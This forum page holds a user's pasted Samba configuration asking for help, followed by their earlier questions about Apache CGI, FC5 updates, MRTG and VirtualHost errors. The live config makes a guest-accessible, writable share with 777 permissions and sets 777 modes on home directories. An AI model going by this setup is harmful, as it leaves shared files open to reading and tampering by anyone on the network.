# Preferred Master causes Samba to force a local browser election on startup
# and gives it a slightly higher chance of winning the election
;   preferred master = yes

# Enable this if you want Samba to be a domain logon server for
# Windows95 workstations.
;   domain logons = yes

# if you enable domain logons then you may want a per-machine or
# per user logon script
# run a specific logon batch file per workstation (machine)
;   logon script = %m.bat
# run a specific logon batch file per username
;   logon script = %U.bat

# Where to store roving profiles (only for Win95 and WinNT)
#        %L substitutes for this servers netbios name, %U is username
#        You must uncomment the [Profiles] share below
;   logon path = \\%L\Profiles\%U

# Windows Internet Name Serving Support Section:
# WINS Support - Tells the NMBD component of Samba to enable it's WINS Server
;   wins support = yes

# WINS Server - Tells the NMBD components of Samba to be a WINS Client
# Note: Samba can be either a WINS Server, or a WINS Client, but NOT both
;   wins server = w.x.y.z

# WINS Proxy - Tells Samba to answer name resolution queries on
# behalf of a non WINS capable client, for this to work there must be
# at least one WINS Server on the network. The default is NO.
;   wins proxy = yes

# DNS Proxy - tells Samba whether or not to try to resolve NetBIOS names
# via DNS nslookups. The default is NO.

# These scripts are used on a domain controller or stand-alone
# machine to add or delete corresponding unix accounts
;  add user script = /usr/sbin/useradd %u
;  add group script = /usr/sbin/groupadd %g
;  add machine script = /usr/sbin/adduser -n -g machines -c Machine -d /dev/null -s /bin/false %u
;  delete user script = /usr/sbin/userdel %u
;  delete user from group script = /usr/sbin/deluser %u %g
;  delete group script = /usr/sbin/groupdel %g


#============================ Share Definitions ==============================
[homes]
comment = Home Directories
browseable = no
create mode = 777
directory mode = 777

# Un-comment the following and create the netlogon directory for Domain Logons
; [netlogon]
;   comment = Network Logon Service
;   path = /usr/local/samba/lib/netlogon
;   guest ok = yes
;   writable = no
;   share modes = no


# Un-comment the following to provide a specific roving profile share
# the default is to use the user's home directory
;[Profiles]
;    path = /usr/local/samba/profiles
;    browseable = no
;    guest ok = yes


# NOTE: If you have a BSD-style print system there is no need to
# specifically define each individual printer
[printers]
   comment = All Printers
   path = /usr/spool/samba
   browseable = no
# Set public = yes to allow user 'guest account' to print
   guest ok = no
   writable = no
   printable = yes

# This one is useful for people to share files
;[tmp]
;   comment = Temporary file space
;   path = /tmp
;   read only = no
;   public = yes

# A publicly accessible directory, but read only, except for people in
# the "staff" group
;[public]
;   comment = Public Stuff
;   path = /home/samba
;   public = yes
;   writable = yes
;   printable = no
;   write list = @staff

# Other examples.
#
# A private printer, usable only by fred. Spool data will be placed in fred's
# home directory. Note that fred must have write access to the spool directory,
# wherever it is.
;[fredsprn]
;   comment = Fred's Printer
;   valid users = fred
;   path = /homes/fred
;   printer = freds_printer
;   public = no
;   writable = no
;   printable = yes

# A private directory, usable only by fred. Note that fred requires write
# access to the directory.
;[fredsdir]
;   comment = Fred's Service
;   path = /usr/somewhere/private
;   valid users = fred
;   public = no
;   writable = yes
;   printable = no

# a service which has a different directory for each machine that connects
# this allows you to tailor configurations to incoming machines. You could
# also use the %U option to tailor it by user name.
# The %m gets replaced with the machine name that is connecting.
;[pchome]
;  comment = PC Directories
;  path = /usr/pc/%m
;  public = no
;  writable = yes

# A publicly accessible directory, read/write to all users. Note that all files
# created in the directory by users will be owned by the default user, so
# any user with access can delete any other user's files. Obviously this
# directory must be writable by the default user. Another user could of course
# be specified, in which case all files would be owned by that user instead.
;[public]
;   path = /usr/somewhere/else/public
;   public = yes
;   only guest = yes
;   writable = yes
;   printable = no

# The following two entries demonstrate how to share a directory so that two
# users can place files there that will be owned by the specific users. In this
# setup, the directory should be writable by both users and should have the
# sticky bit set on it to prevent abuse. Obviously this could be extended to
# as many users as required.
;[myshare]
;   comment = Mary's and Fred's stuff
;   path = /usr/somewhere/shared
;   valid users = mary fred
;   public = no
;   writable = yes
;   printable = no
;   create mask = 0765



[public]
force create mode = 777
writable = yes
only guest = no
create mode = 777
path = /samba/public
force directory mode = 777
directory mode = 777
guest ok = yes
public = yes

[unpublic]
revalidate = yes
valid users = FLYHIGH8501,@FLYHIGH
path = /unpublic
write list = FLYHIGH8501,@FLYHIGH
only user = yes


請教如何解決 :D

19
Linux 討論版 / cgi被當成一般file
« 於: 2007-01-27 15:03 »
小弟的Apache使用default設定,cgi 存放於 /var/www/cgi-bin
但存取 .cgi 時時被當成一般file 跳出下載提示視窗。
請問是哪裡出錯?

20
Linux 討論版 / 缺librpcsecgss
« 於: 2006-07-02 12:17 »
升級時發現缺少librpcsecgss.so.l 和 libgssapi.so.l

該如何處理?

21
Linux 討論版 / Virtual Host問題
« 於: 2006-06-30 23:00 »
小弟先前升級2104P(Router)的韌體失敗,整台必須寄回去檢修,
目前拿舊的DI-707出來頂。

FC5上有在跑Web Server,是在換Router之前安裝,
運行正常。換成DI-707後,Apache啟動出現error

Starting httpd: [Fri Jun 30 22:59:37 2006] [error] VirtualHost 192.168.0.187:80 -- mixing * ports and non-* ports with a NameVirtualHost address is not supported, proceeding with undefined results
[Fri Jun 30 22:59:37 2006] [warn] NameVirtualHost 127.0.0.1:0 has no VirtualHosts
(13)Permission denied: make_sock: could not bind to address 192.168.0.187:4031
no listening sockets available, shutting down
Unable to open logs
[FAILED]

Router關閉DHCP,目前IP自訂。

22
Linux 討論版 / FC5用終端機update
« 於: 2006-06-10 23:26 »
小弟try了幾次,對FC5的終端機下up2date指令似乎沒反應 :o
請問該用何種指令來執行升級動作?

23
Linux 討論版 / 如何啟動FC5安裝的MRTG?
« 於: 2006-06-09 23:59 »
FC5在系統安裝時可選擇一起安裝SNMP與MRTG,
但安裝後該如何去設定和啟動呢?

24
Linux 討論版 / OS的安全性
« 於: 2006-06-09 00:41 »
以架Web Server為基本訴求,
強調安全性,各位比較推薦選用哪一版的Linux?
(商用版 或 免費版 都可)

頁: [1]